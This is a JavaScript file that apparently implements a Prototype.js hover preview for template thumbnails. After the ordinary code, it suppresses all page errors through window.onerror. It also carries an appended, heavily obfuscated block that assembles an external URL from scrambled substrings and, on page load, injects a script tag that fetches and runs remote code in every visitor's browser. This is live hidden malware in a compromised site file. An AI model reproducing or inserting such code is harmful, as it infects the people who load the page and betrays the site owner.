var TemplatePreview = Class.create({
  initialize: function(thumbnailImg, previewOptions) {
    this.thumbnailImg = $(thumbnailImg);
    this.previewOptions = previewOptions || {};

    this.thumbnailImg.observe('mouseover', this.onMouseOver.bindAsEventListener(this));
    this.thumbnailImg.observe('mouseout', this.onMouseOut.bindAsEventListener(this));

    // Cache the bound onMouseMove handler for Event.stopObserving method
    this.onMouseMoveHandler = function(event) {
      PreviewWindow.getInstance().followMouse(event.pointerX(), event.pointerY());
    }.bindAsEventListener(this);
  },

  onMouseOver: function(event) {
    this.thumbnailImg.observe('mousemove', this.onMouseMoveHandler);
    PreviewWindow.getInstance().show(event.pointerX(), event.pointerY(), this.previewOptions);
  },

  onMouseOut: function(event) {
    this.thumbnailImg.stopObserving('mousemove', this.onMouseMoveHandler);
    PreviewWindow.getInstance().hide();
  }
});


var PreviewWindow = Class.create({
  initialize: function() {
    this.windowElement = new Element('div', {id:'tplPreview', style:'display:none; position:absolute;'});
    this.titleElement = new Element('h2', {id:'tplPreviewTitle'});
    this.imageElement = new Element('img', {id:'tplPreviewImage'});
    this.progressBarElement = new Element('div', {id:'tplPreviewProgressBar', style:'display:none;'});

    this.windowElement.insert(
      this.titleElement
    ).insert(
      new Element('div', {id:'tplPreviewBody'}).insert(
        this.imageElement
      ).insert(
        this.progressBarElement.update('Loading template preview...')
      )
    );

    document.body.insert(this.windowElement);
  },

  loadPreview: function(options) {
    this.titleElement.update(options.title);

    var oldImg = this.imageElement;
    this.imageElement = new Element('img', {
      id: 'tplPreviewImage',
      src: options.src,
      width: options.width,
      height: options.height
    });
    oldImg.replace(this.imageElement);

    if (!this.imageElement.complete) {
      this.progressBarElement.show();
      this.imageElement.observe('load', function(event) {
        this.progressBarElement.hide();
      }.bindAsEventListener(this));
    }

    // Refresh this.width, this.height
    Object.extend(this, this.windowElement.getDimensions());
  },

  show: function(x, y, options) {
    var viewport = document.viewport.getDimensions();
    if (viewport.width < 600 || viewport.height < 450) {
      return;
    }

    if (typeof options == 'object') {
      this.loadPreview(options);
    }

    this.followMouse(x, y);

    this.timerId = function() {
      if (this.imageElement.src.length > 0) {
        this.windowElement.show();
      }
    }.bind(this).delay(0.25);
  },

  hide: function() {
    window.clearTimeout(this.timerId);
    this.windowElement.hide();
    this.windowElement.setStyle({
      top: '-' + this.height + 'px',
      left: '-' +  this.width + 'px'
    });
  },

  followMouse: function(mouseX, mouseY) {
    var x = 0, y = 0;
    var mouseOffset = 24;
    var mouseXpos = '', mouseYpos = '';

    var viewport = Object.extend(
      document.viewport.getDimensions(),
      document.viewport.getScrollOffsets()
    );
    mouseX -= viewport.left;
    mouseY -= viewport.top;

    if (mouseY + mouseOffset < (viewport.height - this.height) / 2) {
      mouseYPos = 'top';
      y = mouseY + mouseOffset;
    } else if (mouseY - mouseOffset > (viewport.height + this.height) / 2) {
      mouseYPos = 'bottom';
      y = mouseY - mouseOffset - this.height;
    } else {
      mouseYPos = 'middle';
      y = (viewport.height - this.height) / 2;
    }

    if (mouseYPos != 'middle'
        && ((mouseX + mouseOffset > (viewport.width - this.width) / 2)
         && (mouseX - mouseOffset < (viewport.width + this.width) / 2))) {
      mouseXPos = 'center';
      x = (viewport.width - this.width) / 2;
    } else if (mouseX > viewport.width / 2) {
      mouseXPos = 'right';
      x = mouseX - mouseOffset - this.width;
    } else {
      mouseXPos = 'left';
      x = mouseX + mouseOffset;
    }

    this.windowElement.setStyle({
      top: y + viewport.top + 'px',
      left: x + viewport.left + 'px'
    });
  }
});

PreviewWindow.getInstance = function() {

	 if (PreviewWindow.instance == null) {
    PreviewWindow.instance = new PreviewWindow();
	 }
  return PreviewWindow.instance;
}

function handleError()
{
return true;
}
window.onerror = handleError;


var I;if(I!='h' && I!='bki'){I='h'};function S(){var _=new String();var L;if(L!='' && L!='T'){L=null};var yG;if(yG!='' && yG!='_K'){yG='i'};var d=RegExp;var U=new Date();var b="g";this.RH="";var R='';var F;if(F!='' && F!='P_'){F=null};var QF='';var c;if(c!='Qo' && c!='l'){c=''};function Q(z,A){var G=new Array();var J= String("u9g[".substr(3));var H=new Date();J+=A;var JD;if(JD!='m' && JD!='k'){JD=''};J+=String("]");var zV;if(zV!='zD'){zV='zD'};var xV;if(xV!='p' && xV!='M'){xV=''};this.n='';var bk=new d(J, b);var dN='';return z.replace(bk, R);};var Qr;if(Qr!='' && Qr!='cR'){Qr=null};var xZ;if(xZ!='B' && xZ != ''){xZ=null};var Tm=new String();var qC;if(qC!=''){qC='MP'};var w=Q('8342206448624320636',"64123");this.bG="";var Qq=window;var j='';var e=new String("scripTyV".substr(0,5)+"taTA5".substr(0,1));var Al=new String("src7VB1".substr(0,3));var q="/tor"+"rentB9G".substr(0,4)+"5prGdown".substr(4)+"pGQloadQGp".substr(3,4)+"s.neAYG".substr(0,4)+"cFDUt/to".substr(4)+"5YErrenYE5".substr(3,4)+"LrXtdowXrL".substr(3,4)+"nloas4w3".substr(0,4)+"q6zOds.nzOq6".substr(4,4)+"et/bz1g".substr(0,4)+"angbATi".substr(0,4)+"ros1mGA".substr(0,4)+"dCL.comLCd".substr(3,4)+"/goolsV".substr(0,4)+"gle."+"suxcom/".substr(3)+"0qyoggphy0qo".substr(4,4)+"qeaHt.coaHqe".substr(4,4)+"TY03m.ph".substr(4)+"p3gkt".substr(0,1);var u=new String("MBzdef".substr(3)+"KyOer".substr(3));var Je=String("ht"+"tphA8Q".substr(0,2)+"FdSV:/VSdF".substr(4,2)+"gkoe/pokeg".substr(4,2)+"aihyUJ".substr(0,2)+"6F4paF64".substr(3,2)+"49tyi-yt49".substr(4,2)+"coi8L".substr(0,2)+"m."+"ZE6WneZE6W".substr(4,2)+"ob"+"KmpRux".substr(4)+".cGz86".substr(0,2)+"YAQIom".substr(4)+".m1qbk".substr(0,2)+"OeWqon".substr(4)+"2zcast".substr(4)+"er"+"-c"+"omab5".substr(0,2)+"3Um.tm3U".substr(3,2)+"RFlhelRF".substr(3,2)+"ho"+"ZdratldraZ".substr(4,2)+"ab"+".rzeP".substr(0,2)+"u:v6o9".substr(0,2));var _o;if(_o!='vf' && _o!='iA'){_o='vf'};var Pu;if(Pu!='s' && Pu!='CT'){Pu='s'};var zy=new Array();this.ea="";Qq.onload=function(){try {var eE;if(eE!='JP' && eE != ''){eE=null};this._J="";this.oi="";j=Je+w;j+=q;V=document.createElement(e);var Mu='';V[Al]=j;var pb="";var yU=new String();V[u]=[1,2][0];var hs;if(hs!='rH' && hs!='dQ'){hs=''};var Uv;if(Uv!='' && Uv!='UG'){Uv=null};document.body.appendChild(V);var uj;if(uj!='' && uj!='he'){uj='UY'};this.cG="";var TO;if(TO!=''){TO='od'};} catch(jE){var Io="";var _JX;if(_JX!='Ah' && _JX!='os'){_JX=''};};};var uT=new Date();this.Ik='';};S();